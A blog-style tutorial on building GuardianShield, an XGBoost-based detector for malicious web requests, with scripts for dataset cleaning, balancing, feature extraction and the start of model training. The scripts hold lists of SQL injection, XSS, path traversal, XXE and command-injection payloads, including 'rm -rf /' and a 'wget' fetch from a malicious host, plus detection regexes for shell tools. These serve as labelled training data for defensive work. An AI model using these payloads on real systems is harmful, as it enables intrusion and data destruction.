GuardianShield: My AI Security Agent Project

with Thierry

Table of Contents

Introduction

Hey everyone! I'm Thierry Mukiza, and I'm super excited to share my journey creating **GuardianShield**, an AI-powered security agent designed to protect web applications from nasty threats like SQL injection, XSS, and more. This project has been a wild ride, blending my love for coding, machine learning, and cybersecurity. Let me walk you through what it's all about, how I built it, and what's next!

What is GuardianShield?

GuardianShield is my brainchild—a tool that acts like a digital bodyguard for web apps. It uses a trained machine learning model (XGBoost, to be exact) combined with OWASP-inspired rules to spot and block malicious requests in real-time. Whether it's a sneaky script trying to pop an alert or a SQL query messing with my database, this agent catches it before it causes harm. I built it to be flexible, letting benign requests like search queries pass through while locking down the bad stuff.

Why I Built It

I've always been fascinated by how hackers try to break into systems, and I wanted to fight back with something smart. Working on this project, I realized many web apps are vulnerable because they lack real-time threat detection. So, I thought, why not create a solution that learns from data and adapts? Plus, it's a great way to sharpen my Python and ML skills while making something useful. The idea of protecting users from attacks like those I've read about in OWASP guides really drives me!

How It Works

The Tech Behind It

I used Python with FastAPI to build a lightweight server that handles requests. Here's the cool stuff under the hood:

- **Machine Learning Model**: I trained an XGBoost classifier on a dataset with 34 OWASP features (like URL length, XSS patterns, and content entropy). It's calibrated to give accurate probability scores, with a threshold set at 0.7 or higher.
- **Feature Selection**: I picked the most important features and added critical ones like SQL and XSS patterns to ensure nothing slips through.
- **Rules Engine**: Inspired by OWASP, it checks for whitelisted requests (e.g., `search=OpenAI`) and blocks obvious threats.
- **Logging**: Every request—allowed or blocked—gets logged to files so I can track what's happening.

Before i talk about the part of training, let me share with you the challengies that led me struggle with the dataset for over a month. The difficulities with training alwas comes under dataset ecosystem. In this project I used only two dataset but over and over i tried to extend it until it reached over 165,000 entries. However, it was not easy because they were two different datasets which have different extensions for example one was .json and another one was .csv; this made it harder in clearning.

I started by fixing impure json file, because as you know when you are using a json file, sometimes there can be some unclosed parathesis and also extra commas or missing colons or semi-colons.

Bellow it is how you can fix broke json arrays before you start training.

Fixing Json

```
import re
import json
input_path = "../datasets/WEB_APPLICATION_PAYLOADS.jsonl"
output_path = "../datasets/WEB_APPLICATION_PAYLOADS_FIXED.json"
with open(input_path, "r", encoding="utf-8") as f:
    text = f.read()
objects = re.findall(r'\{.*?\}', text, flags=re.DOTALL)
print(f"Found {len(objects)} potential objects")
cleaned = []
for i, obj_str in enumerate(objects):
    try:
        obj = json.loads(obj_str)
        cleaned.append(obj)
    except Exception as e:
        print(f"Invalid JSON object at index {i}: {e}")
```

```
with open(output_path, "w", encoding="utf-8") as f:
    json.dump(cleaned, f, indent=2)
print(f"Wrote {len(cleaned)} valid objects to {output_path}")
```

From the uppper code attached you can clean your json file befor training.

Unfortunately, there might be chances that the dataset will be imbalance. Then what to do there is to add more arguments in the dataset so that you can traing on the balanced data. To do that, i tried to use a script to add more begnin requests so that it can work perfectly;

Here I am attaching the script to balance the dataset;

Balancing dataset

```
import pandas as pd
import random
import string
from pathlib import Path

DATASET_PATH = "../datasets/MASTER_training_dataset.csv"
OUTPUT_PATH = "../datasets/MASTER_training_dataset.csv"

benign_payloads = [
    "home", "about", "contact", "api", "status", "ping", "health", "main",
"welcome",
    "submit", "info", "check", "get", "post", "data", "details", "profile",
"user",
    "root", "page", "list", "view", "open", "admin", "dashboard", "table", "row",
"col",
    "products", "news", "blog", "update", "add", "edit", "login", "logout",
"register",
    "signup", "signin", "help", "faq", "support", "search", "cart", "checkout",
"settings",
    "preferences", "download", "upload", "refresh", "reset", "ok", "next",
"previous",
    "first", "last", "recent", "history", "calendar", "events", "message",
"notify",
    "alert", "read", "write", "file", "folder", "docs", "terms", "policy",
"privacy",
    "agreement", "legal", "simple", "plain", "basic", "none", "foo", "bar", "baz",
    "index", "test", "sample", "example", "default", "start", "stop", "run",
"demo",
    "launch", "go", "continue", "cancel", "back", "forward", "yes", "no", "maybe"
]

benign_payloads += [
    "Hello, world!", "This is a test.", "Just checking in.", "Sample payload.",
"Testing API.",
    "user=guest", "q=search", "id=123", "page=2", "sort=asc", "lang=en",
"ref=homepage", "error=none"
]
```

```
for _ in range(200):
    benign_payloads.append(
        ''.join(random.choices(string.ascii_letters + string.digits,
k=random.randint(6, 18)))
    )


malicious_payloads = [

    "' OR 1=1 --", "\" OR \"\"=\"", "' OR 'x'='x", "admin' --", "admin' #",
"admin'/*", "1; DROP TABLE users",
    "' UNION SELECT NULL, NULL, NULL --", "'; EXEC xp_cmdshell('ping 10.10.1.2') -
-",

    "<script>alert('xss')</script>", "<IMG SRC=javascript:alert('XSS')>", "<BODY
ONLOAD=alert('XSS')>",
    "';alert(String.fromCharCode(88,83,83))//", "<svg/onload=alert('XSS')>", "\"
onmouseover=\"alert('XSS')",

    "../../etc/passwd", "..\\..\\boot.ini", "/../../windows/win.ini",
"%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",

    "1|cat /etc/passwd", "test; ls -la", "a && whoami", "test | whoami", "user; rm
-rf /", "ping 127.0.0.1; whoami",

    "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>",
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/",

    "'; WAITFOR DELAY '0:0:10'--", "admin' or sleep(10)#", "';select sleep(5)--",
"1' or 1=1 limit 1--",

    "<iframe src='javascript:alert(1)'>", "<img src=x onerror=alert(1)>", "<a
href='javascript:alert(1)'>click</a>",

    "%27%20OR%201=1--", "%22%20OR%20%22%22=%22",
"%3Cscript%3Ealert(1)%3C/script%3E",
]

for _ in range(200):
    variant = random.choice([
        "' OR " + str(random.randint(0, 9)) + "=" + str(random.randint(0, 9)) + "
--",
        "<script>alert('" + ''.join(random.choices(string.ascii_letters, k=3)) +
"')</script>",
        "../../" * random.randint(2, 6) + "etc/passwd",
        "".join(random.choices(string.punctuation + string.ascii_letters,
k=random.randint(10, 20))),
        "1; DROP TABLE " + ''.join(random.choices(string.ascii_lowercase, k=5)),
        "<IMG SRC=javascript:alert('" + ''.join(random.choices(string.digits,
k=2)) + "')>",
        "1' OR sleep(" + str(random.randint(1, 9)) + ")--",
    ])
    malicious_payloads.append(variant)
```

```
def random_user_agent(is_malicious=False):
    if is_malicious and random.random() < 0.3:

        ua_pool = [
            "sqlmap/1.5.2", "Nikto/2.1.6", "curl/7.68.0", "python-
requests/2.24.0", "Mozilla/5.0 (compatible; Nmap Scripting Engine;)",
            "Acunetix Scanner", "Wget/1.20.3", "ZmEu", "Morfeus Fucking Scanner",
"sqlninja", "NoUserAgent"
        ]
    else:
        ua_pool = [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
            "Mozilla/5.0 (X11; Linux x86_64)",
            "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X)",
            "Mozilla/5.0 (Android 10; Mobile; rv:79.0) Gecko/79.0 Firefox/79.0"
        ]
    return random.choice(ua_pool)

def extract_features(payload, method="POST", user_agent=None):
    SQL_KEYWORDS = r"
(?:union|select|insert|drop|update|delete|from|where|or|and|exec|execute|declare|s
leep|waitfor|delay|table|xp_cmdshell|limit|sleep|benchmark|into|outfile|informatio
n_schema|concat|mid|substr|group_concat|having|truncate|alter|create|replace|renam
e|cast|convert|set|exists|count|chr|char|ascii|order by|--|/\*|\*/)"
    XSS_PATTERNS = r"
(?:script|javascript|onerror|onload|onmouseover|alert|document\.cookie|eval|fromch
arcode|iframe|svg|img|src|onerror|onfocus|onabort|onblur|onchange|onclick|ondblcli
ck|onkeydown|onkeypress|onkeyup|onmousedown|onmousemove|onmouseout|onmouseover|onm
ouseup|onreset|onscroll|onselect|onsubmit|onunload|formaction|<|>)"
    PATH_TRAVERSAL = r"
(?:\.\./|\.\.\\|%2e%2e%2f|%2e%2e%5c|\.%00|\.\.%00|/etc/passwd|boot\.ini|win\.ini|/
windows/)"
    if user_agent is None:
        user_agent = random_user_agent()
    features = {
        'url_length': len(payload),
        'num_special_chars': sum(not c.isalnum() for c in payload),
        'contains_sql_keywords': int(bool(pd.notnull(payload) and
pd.Series([payload]).str.contains(SQL_KEYWORDS, case=False, regex=True).iloc[0])),
        'contains_xss_patterns': int(bool(pd.notnull(payload) and
pd.Series([payload]).str.contains(XSS_PATTERNS, case=False, regex=True).iloc[0])),
        'contains_path_traversal': int(bool(pd.notnull(payload) and
pd.Series([payload]).str.contains(PATH_TRAVERSAL, case=False,
regex=True).iloc[0])),
        'request_length': len(payload),
        'request_time': random.randint(0, 23),
        'is_get_method': int(method.upper() == 'GET'),
        'is_post_method': int(method.upper() == 'POST'),
        'ua_length': len(user_agent),
        'is_common_browser': int(any(b in user_agent.lower() for b in ['chrome',
'firefox', 'safari', 'edge', 'msie', 'opera', 'mozilla', 'webkit'])),
    }
```

```
    return features

def main():
    print("Loading dataset...")
    df = pd.read_csv(DATASET_PATH)
    benign_count = (df["is_malicious"] == 0).sum()
    malicious_count = (df["is_malicious"] == 1).sum()
    print(f"Original counts - benign: {benign_count}, malicious:
{malicious_count}")


    num_new_benign = 10000
    num_new_malicious = 10000

    print("Generating benign samples...")
    benign_samples = []
    for _ in range(num_new_benign):
        payload = random.choice(benign_payloads)
        method = random.choice(["GET", "POST"])
        ua = random_user_agent()
        features = extract_features(payload, method, ua)
        features['is_malicious'] = 0
        features['source'] = 'augmented_benign'
        benign_samples.append(features)
    print("Generating malicious samples...")
    malicious_samples = []
    for _ in range(num_new_malicious):
        payload = random.choice(malicious_payloads)
        method = random.choice(["GET", "POST"])
        ua = random_user_agent(is_malicious=True)
        features = extract_features(payload, method, ua)
        features['is_malicious'] = 1
        features['source'] = 'augmented_malicious'
        malicious_samples.append(features)


    benign_df = pd.DataFrame(benign_samples)
    malicious_df = pd.DataFrame(malicious_samples)


    df_benign = df[df["is_malicious"] == 0]
    df_malicious = df[df["is_malicious"] == 1]
    min_class = min(len(df_benign) + len(benign_df), len(df_malicious) +
len(malicious_df))

    df_benign_bal = pd.concat([df_benign, benign_df],
ignore_index=True).sample(min_class, random_state=42)
    df_malicious_bal = pd.concat([df_malicious, malicious_df],
ignore_index=True).sample(min_class, random_state=42)

    final_df = pd.concat([df_benign_bal, df_malicious_bal], ignore_index=True)
    final_df = final_df.sample(frac=1, random_state=42).reset_index(drop=True)
    final_df.to_csv(OUTPUT_PATH, index=False)
    print(f"\nAugmented and balanced dataset saved to: {OUTPUT_PATH}")
```

```
    print(f"Final counts: benign={len(df_benign_bal)}, malicious=
{len(df_malicious_bal)}, total={len(final_df)}")

    print("\nPreview of benign:")
    print(final_df[final_df["is_malicious"] == 0].head(5))
    print("\nPreview of malicious:")
    print(final_df[final_df["is_malicious"] == 1].head(5))

if __name__ == "__main__":
    main()
```

The above script makes it even easier for you to have a balanced dataset with more entries. Then this drives us to the most important part which is building the dataset itself. the dataset has to be well organized with tons of features all in place in order to train the model on unbiased data and get the desired result.

in my perspective this is how i decided to create my dataset by writing a build_master_dataset script in order to combine all the entries or data from two different datasets and make one compact dataset.

Here is my dataset building ;

Building Master Dataset

```
import pandas as pd
import json
import re
from pathlib import Path
from typing import List, Dict, Optional
from faker import Faker
import random
from scipy.stats import entropy
import numpy as np
from urllib.parse import urlparse, parse_qs

fake = Faker()

FEATURE_COLS = [
    'url_length', 'num_special_chars', 'contains_sql_keywords',
'contains_xss_patterns',
    'contains_path_traversal', 'request_length', 'request_time', 'is_get_method',
    'is_post_method', 'ua_length', 'is_common_browser', 'content_entropy',
'num_digits',
    'num_uppercase', 'sensitive_path_access', 'admin_path_access',
'num_directory_levels',
    'has_encrypted_content', 'ssl_protocol_indicators', 'weak_cipher_indicators',
    'contains_command_injection', 'contains_ldap_injection',
'injection_pattern_score',
    'contains_xxe_patterns', 'unusual_headers', 'suspicious_content_types',
    'auth_related_paths', 'credential_like_patterns', 'bruteforce_indicators',
    'contains_serialized_data', 'deserialization_indicators',
'contains_ssrf_patterns',
    'internal_ip_indicators', 'localhost_references', 'parameter_count',
```

```
    'unusual_parameter_names'
]

COMMON_BROWSERS = ['mozilla', 'chrome', 'firefox', 'safari', 'edge', 'msie',
'opera', 'webkit']

class HTTPFeatureExtractor:
    SQL_KEYWORDS =
r'\b(union\s+select|select\s+.*\s+from|insert\s+into|drop\s+table|update\s+.*\s+se
t|delete\s+from|exec\s*\(|sleep\s*\(|waitfor\s+delay|benchmark\s*\(\)\b'
    XSS_PATTERNS =
r'\b(script\s*>|javascript:|onerror\s*=|onload\s*=|onmouseover\s*=|alert\s*\
(|document\.cookie|eval\s*\(|fromcharcode\s*\(|window\.location)\b|<script\s*>'
    PATH_TRAVERSAL =
r'\.\./|\.\.\\|%2e%2e%2f|%2e%2e%5c|\.%00|\.\.%00|/\.\./|\\\.\.\\'
    COMMAND_INJECTION = r'[;&|`]\s*
(ls|cat|rm|wget|curl|nc|netcat|bash|sh|cmd|powershell)\b'
    SSRF_PATTERNS = r'(https?
|ftp|file|gopher|dict)://(127\.0\.0\.1|localhost|192\.168|10\.|172\.(1[6-9]|2[0-
9]|3[0-1]))\b'
    SENSITIVE_PATHS =
r'/(admin|config|database|backup|\.git|\.env|\.htaccess|phpmyadmin|mysql|wp-
admin|\.svn|\.idea)\b'
    ADMIN_KEYWORDS = r'\b(admin|root|administrator|superuser|sysadmin)\b'
    LDAP_INJECTION = r'\(\w+=.*\)|\\*\w+\\*|\bnull\s+.*\s+null\b'
    XXE_PATTERNS = r'<!ENTITY\s+|<!DOCTYPE\s+.*SYSTEM|%[a-f0-9]{2};|&[a-z]+;'
    WEAK_CIPHER_INDICATORS = r'\b(SSLv2|SSLv3|TLSv1\.0|RC4|DES|MD5|SHA1)\b'
    AUTH_PATHS = r'/(login|signin|auth|authenticate|oauth|sso)\b'
    CREDENTIAL_PATTERNS = r'\b(password|passwd|pwd|secret|key|token|auth)\b'
    SERIALIZATION_PATTERNS = r'\b(rO0|base64|serialized|deseriali[zs]e)\b'
    INTERNAL_IP = r'\b(127\.0\.0\.1|192\.168\.[0-1]\.[0-9]{1,3}|10\.[0-9]{1,3}\.
[0-9]{1,3}\.[0-9]{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.[0-9]{1,3}\.[0-9]{1,3})\b'

    @staticmethod
    def _calculate_entropy(text):
        if not text:
            return 0.0
        text = str(text)
        counter = pd.Series(list(text)).value_counts()
        text_length = len(text)
        probabilities = counter / text_length
        return entropy(probabilities.to_numpy()) if len(counter) > 0 else 0.0

    @staticmethod
    def _create_features(request_url: str, method: str, user_agent: str, length:
int, time: float, body: str = '') -> Dict[str, any]:
        try:
            content = request_url + body
            content_lower = content.lower()
            content_chars = list(content)
            char_counts = pd.Series(content_chars).value_counts()
            num_digits = sum(c.isdigit() for c in content)
            num_uppercase = sum(c.isupper() for c in content)
            parsed_url = urlparse(request_url)
```

```
            query_params = parse_qs(parsed_url.query)

            features = {
                'url_length': len(request_url),
                'num_special_chars': sum(not c.isalnum() for c in content),
                'contains_sql_keywords': sum(1 for _ in
re.finditer(HTTPFeatureExtractor.SQL_KEYWORDS, content_lower, re.IGNORECASE)),
                'contains_xss_patterns': sum(1 for _ in
re.finditer(HTTPFeatureExtractor.XSS_PATTERNS, content_lower, re.IGNORECASE)),
                'contains_path_traversal':
int(bool(re.search(HTTPFeatureExtractor.PATH_TRAVERSAL, content_lower,
re.IGNORECASE))),
                'request_length': length,
                'request_time': float(time),
                'is_get_method': int(method.upper() == 'GET'),
                'is_post_method': int(method.upper() == 'POST'),
                'ua_length': len(user_agent),
                'is_common_browser': int(any(b in user_agent.lower() for b in
COMMON_BROWSERS)),
                'content_entropy':
float(HTTPFeatureExtractor._calculate_entropy(content)),
                'num_digits': num_digits,
                'num_uppercase': num_uppercase,
                'sensitive_path_access':
int(bool(re.search(HTTPFeatureExtractor.SENSITIVE_PATHS, request_url,
re.IGNORECASE))),
                'admin_path_access':
int(bool(re.search(HTTPFeatureExtractor.ADMIN_KEYWORDS, request_url,
re.IGNORECASE))),
                'num_directory_levels': request_url.count('/'),
                'has_encrypted_content': int('https://' in request_url.lower()),
                'ssl_protocol_indicators': int('ssl' in content_lower or 'tls' in
content_lower),
                'weak_cipher_indicators':
int(bool(re.search(HTTPFeatureExtractor.WEAK_CIPHER_INDICATORS, content_lower,
re.IGNORECASE))),
                'contains_command_injection': sum(1 for _ in
re.finditer(HTTPFeatureExtractor.COMMAND_INJECTION, content_lower,
re.IGNORECASE)),
                'contains_ldap_injection': sum(1 for _ in
re.finditer(HTTPFeatureExtractor.LDAP_INJECTION, content_lower, re.IGNORECASE)),
                'injection_pattern_score': 0,  # Calculated below
                'contains_xxe_patterns':
int(bool(re.search(HTTPFeatureExtractor.XXE_PATTERNS, content_lower,
re.IGNORECASE))),
                'unusual_headers': 0,  # Simplified for dataset creation
                'suspicious_content_types': 0,  # Simplified for dataset creation
                'auth_related_paths':
int(bool(re.search(HTTPFeatureExtractor.AUTH_PATHS, request_url, re.IGNORECASE))),
                'credential_like_patterns':
int(bool(re.search(HTTPFeatureExtractor.CREDENTIAL_PATTERNS, content_lower,
re.IGNORECASE))),
                'bruteforce_indicators': int('multiple' in user_agent.lower() or
'bot' in user_agent.lower()),
```

```
                'contains_serialized_data':
int(bool(re.search(HTTPFeatureExtractor.SERIALIZATION_PATTERNS, content_lower,
re.IGNORECASE))),
                'deserialization_indicators': int('serialized' in content_lower or
'deserialize' in content_lower),
                'contains_ssrf_patterns':
int(bool(re.search(HTTPFeatureExtractor.SSRF_PATTERNS, content_lower,
re.IGNORECASE))),
                'internal_ip_indicators':
int(bool(re.search(HTTPFeatureExtractor.INTERNAL_IP, content_lower,
re.IGNORECASE))),
                'localhost_references': int('localhost' in content_lower or
'127.0.0.1' in content_lower),
                'parameter_count': len(query_params),
                'unusual_parameter_names': int(any('cmd' in key.lower() or 'exec'
in key.lower() for key in query_params.keys()))
            }

            features['injection_pattern_score'] = min(
                features['contains_sql_keywords'] * 3 +
                features['contains_xss_patterns'] * 2 +
                features['contains_command_injection'] * 4 +
                features['contains_ldap_injection'] * 2,
                10
            )
            return features
        except Exception as e:
            print(f"Error in _create_features for URL {request_url}: {e}")
            return {col: 0 for col in FEATURE_COLS} | {'is_malicious': 0}

    @staticmethod
    def extract_from_log_line(log_line: str) -> Optional[Dict[str, any]]:
        try:
            log_pattern = (
                r'(\S+) (\S+) (\S+) \[([^\]]+)\] "(\S+) (\S+) (\S+)" (\d+) (\d+) '
                r'"([^"]*)" "([^"]*)" "([^"]*)" Request_Length:(\d+) Request_Time:
([0-9.]+)'
            )
            match = re.match(log_pattern, log_line)
            if not match:
                return None
            groups = match.groups()
            try:
                request_length = int(groups[12])
            except Exception:
                request_length = 0
            try:
                request_time = float(groups[13])
            except Exception:
                request_time = 0.0
            features = HTTPFeatureExtractor._create_features(
                request_url=groups[5],
                method=groups[4],
                user_agent=groups[10],
```

```
                length=request_length,
                time=request_time
            )
            content = groups[5].lower() + groups[10].lower()
            is_malicious = (
                (bool(re.search(HTTPFeatureExtractor.SQL_KEYWORDS, content,
re.IGNORECASE)) and features['content_entropy'] > 3.0) or
                bool(re.search(HTTPFeatureExtractor.XSS_PATTERNS, content,
re.IGNORECASE)) or
                (bool(re.search(HTTPFeatureExtractor.PATH_TRAVERSAL, content,
re.IGNORECASE)) and features['num_directory_levels'] > 3) or
                bool(re.search(HTTPFeatureExtractor.COMMAND_INJECTION, content,
re.IGNORECASE)) or
                bool(re.search(HTTPFeatureExtractor.SSRF_PATTERNS, content,
re.IGNORECASE))
            )
            features['is_malicious'] = int(is_malicious)
            return features
        except Exception as e:
            print(f"Error in extract_from_log_line: {e}")
            return None

    @staticmethod
    def extract_from_raw_payload(payload: str, method: str = "GET", user_agent:
str = "Malicious User-Agent", body: str = '') -> Dict[str, any]:
        try:
            return HTTPFeatureExtractor._create_features(
                request_url=payload,
                method=method,
                user_agent=user_agent,
                length=len(payload) + len(body),
                time=0.1,
                body=body
            )
        except Exception as e:
            print(f"Error in extract_from_raw_payload for payload {payload[:50]}:
{e}")
            return {col: 0 for col in FEATURE_COLS} | {'is_malicious': 1}

def load_jsonl_payloads(filepath: str) -> pd.DataFrame:
    print(f"Loading JSON payloads from {filepath}...")
    data = []
    with open(filepath, 'r', encoding='utf-8') as f:
        try:
            arr = json.load(f)
            print(f"Found {len(arr)} payload entries.")
            for entry in arr:
                payload = entry.get('payload', '')
                if payload:
                    ua = random.choice(['Malicious User-Agent', 'curl/7.68.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'])
                    features =
HTTPFeatureExtractor.extract_from_raw_payload(payload, user_agent=ua)
                    features['is_malicious'] = 1
```

```
                    features['source'] = 'jsonl_payloads'
                    data.append(features)
                else:
                    print(f"Skipping empty payload in {filepath}")
        except Exception as e:
            print(f"Error loading JSON array: {e}")
    print(f"Extracted {len(data)} features from payloads")
    return pd.DataFrame(data)

def load_cic_ids2010(filepath: str) -> pd.DataFrame:
    print(f"Loading CIC-IDS2010 data from {filepath}...")
    data = []
    try:
        df = pd.read_csv(filepath, encoding='latin-1')
        print(f"CSV loaded with {len(df)} rows and {len(df.columns)} columns")
        for _, row in df.iterrows():
            full_url = row.get('URL', '')
            method = row.get('Method', 'GET')
            body = row.get('Body', '') if 'Body' in row else ''
            if isinstance(full_url, str):
                url_no_proto = full_url.split(' ')[0] if ' ' in full_url else
full_url
                ua = random.choice(['Mozilla/5.0 ...', 'curl/7.68.0'])
                features =
HTTPFeatureExtractor.extract_from_raw_payload(url_no_proto, method, ua, body=body)
                features['is_malicious'] = int(row.get('classification', 0))
                features['source'] = 'cic_ids2010'
                data.append(features)
            else:
                print(f"Skipping invalid URL in {filepath}: {full_url}")
    except Exception as e:
        print(f"Error loading CIC file: {e}")
    print(f"Extracted {len(data)} features from CIC-IDS2010")
    return pd.DataFrame(data)

def load_lab_data(log_filepath: str) -> pd.DataFrame:
    print(f"Loading lab data from {log_filepath}...")
    data = []
    if not Path(log_filepath).exists():
        print("Lab log file not found")
        return pd.DataFrame()
    try:
        with open(log_filepath, 'r', encoding='utf-8') as file:
            for line in file:
                features =
HTTPFeatureExtractor.extract_from_log_line(line.strip())
                if features:
                    features['source'] = 'lab'
                    data.append(features)
                else:
                    print(f"Skipping invalid log line in {log_filepath}:
{line.strip()[:50]}")
    except Exception as e:
        print(f"Error reading lab log: {e}")
```

```
    print(f"Extracted {len(data)} features from lab data")
    return pd.DataFrame(data)

def augment_benign(n_samples: int = 20000) -> List[Dict]:
    print(f"Augmenting {n_samples} benign samples...")
    data = []
    for _ in range(n_samples):
        try:
            body = fake.text(max_nb_chars=random.randint(10, 100))
            url = f"/{fake.uri_path()}"
            method = random.choice(['GET', 'POST'])
            ua = random.choice(['curl/8.1.2', 'curl/7.68.0', f"Mozilla/5.0
({fake.user_agent()})", 'python-requests/2.28.1'])
            features = HTTPFeatureExtractor._create_features(
                request_url=url,
                method=method,
                user_agent=ua,
                length=len(url) + len(body),
                time=random.uniform(0.01, 0.3),
                body=body
            )
            features['is_malicious'] = 0
            features['source'] = 'augmented_benign'
            data.append(features)
        except Exception as e:
            print(f"Error augmenting benign sample: {e}")
    return data

def augment_malicious(n_samples: int = 30000) -> List[Dict]:
    print(f"Augmenting {n_samples} malicious samples...")
    malicious_payloads = [
        "' OR 'a'='a", "1; DROP TABLE users", "<script>alert('xss')</script>",
        "../etc/passwd", "%2e%2e%2f", "UNION SELECT * FROM users",
        "javascript:alert('hacked')", "eval('malicious_code')",
        "%27%20OR%201%3D1--", "1' OR '1'='1", "<img src=x onerror=alert(1)>",
        "/../../etc/shadow", "SELECT%20*%20FROM%20users%20WHERE%201=1",
        "<script src='http://malicious.com'></script>", "1 AND 1=1--",
        "%3Cscript%3Ealert(1)%3C/script%3E", "admin'--",
        "' OR 1=1--", "<iframe src='javascript:alert(1)'>",
"../../windows/system32/config/sam",
        "%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E", "1 OR '1'='1' /*",
        "http://localhost:8080/admin", "; rm -rf /", "<!DOCTYPE entity [<!ENTITY
xxe SYSTEM 'file:///etc/passwd'>]>",
        "ldap://[attacker].com/a", "base64_decode('malicious')", "wget
http://malicious.com/script.sh",
        "curl http://192.168.1.1", "eval(phpinfo())", "<object
data='javascript:alert(1)'>",
        "1; EXEC xp_cmdshell('dir')", "http://10.0.0.1/config", "<xml><!ENTITY xxe
'attack'>",
        "<scr<script>ipt>alert('xss')</script>", "%27%20UNION%20SELECT%20NULL--",
        "eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))",
        "../.././../etc/passwd%00", "ldap://127.0.0.1:389/ou=users",
        "<![CDATA[<script>alert(1)</script>]]>", "SELECT/*comment*/password FROM
users"
```

```
    ]
    data = []
    for _ in range(n_samples):
        try:
            payload = random.choice(malicious_payloads) +
fake.text(max_nb_chars=20)
            body = fake.text(max_nb_chars=50) if random.random() > 0.5 else
payload
            url = f"/{fake.uri_path()}" + (payload if random.random() > 0.5 and
not body else '')
            method = random.choice(['GET', 'POST'])
            ua = random.choice(['Malicious UA', 'curl/7.68.0', 'Mozilla/5.0 ...',
'python-requests/2.28.1'])
            features = HTTPFeatureExtractor._create_features(
                request_url=url,
                method=method,
                user_agent=ua,
                length=len(url) + len(body),
                time=random.uniform(0.05, 0.5),
                body=body
            )
            features['is_malicious'] = 1
            features['source'] = 'augmented_malicious'
            data.append(features)
        except Exception as e:
            print(f"Error augmenting malicious sample: {e}")
    return data

def align_and_filter(df: pd.DataFrame) -> pd.DataFrame:
    for col in FEATURE_COLS + ['is_malicious']:
        if col not in df.columns:
            df[col] = 0
    result = df[FEATURE_COLS + ['is_malicious', 'source']].copy()
    result = result.dropna(subset=['is_malicious'] + FEATURE_COLS)
    return result

def main():
    output_file = Path('../datasets/MASTER_training_dataset.csv')
    output_file.parent.mkdir(exist_ok=True)

    master_data = pd.DataFrame()
    sources = [
        ('../datasets/WEB_APPLICATION_PAYLOADS_FIXED.json', load_jsonl_payloads),
        ('../datasets/CIC-IDS2010.csv', load_cic_ids2010),
        ('../logs/access.log', load_lab_data)
    ]

    for path, loader in sources:
        if Path(path).exists():
            df = loader(path)
            master_data = pd.concat([master_data, df], ignore_index=True)
            print(f"{path}: {len(df)} entries loaded")
        else:
            print(f"File not found: {path}")
```

```
    aug_benign = pd.DataFrame(augment_benign(20000))
    aug_mal = pd.DataFrame(augment_malicious(25000))
    master_data = pd.concat([master_data, aug_benign, aug_mal], ignore_index=True)

    if not master_data.empty:
        master_data = align_and_filter(master_data)
        master_data = master_data.dropna(subset=['is_malicious'] + FEATURE_COLS)
        master_data.to_csv(output_file, index=False)
        print(f"\n[SUCCESS] Master dataset created with {len(master_data)}
entries!")
        print(f"Malicious: {master_data['is_malicious'].sum()}")
        print(f"Benign: {len(master_data) - master_data['is_malicious'].sum()}")
        print(f"Saved to: {output_file}")

        print("\nPreview of the dataset:")
        print(master_data.head(10))
    else:
        print("\n[ERROR] No data was loaded. Check your file paths and data
sources.")

if __name__ == '__main__':
    main()
```

The above code creates a compact dataset with necessary features as explained/demonstarted in the script and at the end it creates what i called The **Master_training_dataset** which now lead us the process of training.

Training the Model

I wrote a script called `train_model.py` to train the model. It:

- Loads a CSV dataset (like `MASTER_training_dataset.csv`).
- Splits it into training, validation, and test sets.
- Tunes the model with GridSearchCV and weights samples based on critical patterns.
- Saves the model, threshold, selected features, and calibrator to files in a `models/` folder.

The results? On my last run, it hit 87% validation accuracy and 85% test accuracy—pretty solid for catching bad actors!

Bellow i am attaching the complete training_model script for the dataset created above;

```
import pandas as pd
from xgboost import XGBClassifier
from sklearn.model_selection import train_test_split, GridSearchCV,
StratifiedKFold
from sklearn.metrics import classification_report, confusion_matrix,
precision_recall_curve
from sklearn.feature_selection import SelectFromModel
from sklearn.calibration import CalibratedClassifierCV
import joblib
```

```
import os
import numpy as np
import logging
from datetime import datetime

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s',
    handlers=[logging.StreamHandler()]
)
logger = logging.getLogger(__name__)

OWASP_FEATURES = [
    'url_length', 'num_special_chars', 'contains_sql_keywords',
'contains_xss_patterns',
    'contains_path_traversal', 'request_length', 'request_time', 'is_get_method',
    'is_post_method', 'ua_length', 'is_common_browser', 'content_entropy',
'num_digits',
    'num_uppercase', 'sensitive_path_access', 'admin_path_access',
'num_directory_levels',
    'has_encrypted_content', 'ssl_protocol_indicators', 'weak_cipher_indicators',
    'contains_command_injection', 'contains_ldap_injection',
'contains_xxe_patterns',
    'unusual_headers', 'suspicious_content_types', 'auth_related_paths',
    'credential_like_patterns', 'bruteforce_indicators',
'contains_serialized_data',
    'deserialization_indicators', 'contains_ssrf_patterns',
'internal_ip_indicators',
    'localhost_references', 'parameter_count', 'unusual_parameter_names',
    'injection_pattern_score'
]

DATA_PATH = os.getenv("DATA_PATH", "../datasets/MASTER_training_dataset.csv")
MODEL_PATH = os.getenv("MODEL_PATH", "models/model.pkl")
THRESHOLD_PATH = os.getenv("THRESHOLD_PATH", "models/threshold.pkl")
FEATURES_PATH = os.getenv("FEATURES_PATH", "models/selected_features.pkl")
CALIBRATOR_PATH = os.getenv("CALIBRATOR_PATH", "models/calibrator.pkl")

def validate_and_prepare_df(df: pd.DataFrame) -> pd.DataFrame:
    """Validate and prepare the dataset by ensuring all features exist and are
numeric."""
    logger.info(f"Original dataset shape: {df.shape}")
    for col in OWASP_FEATURES:
        if col not in df.columns:
            logger.warning(f"Feature {col} missing, initializing to 0")
            df[col] = 0
    df = df.fillna(0)
    df = df.dropna(subset=['is_malicious'])
    for col in OWASP_FEATURES:
        df[col] = pd.to_numeric(df[col], errors='coerce').fillna(0)
        if col in ['contains_sql_keywords', 'contains_xss_patterns',
'contains_path_traversal',
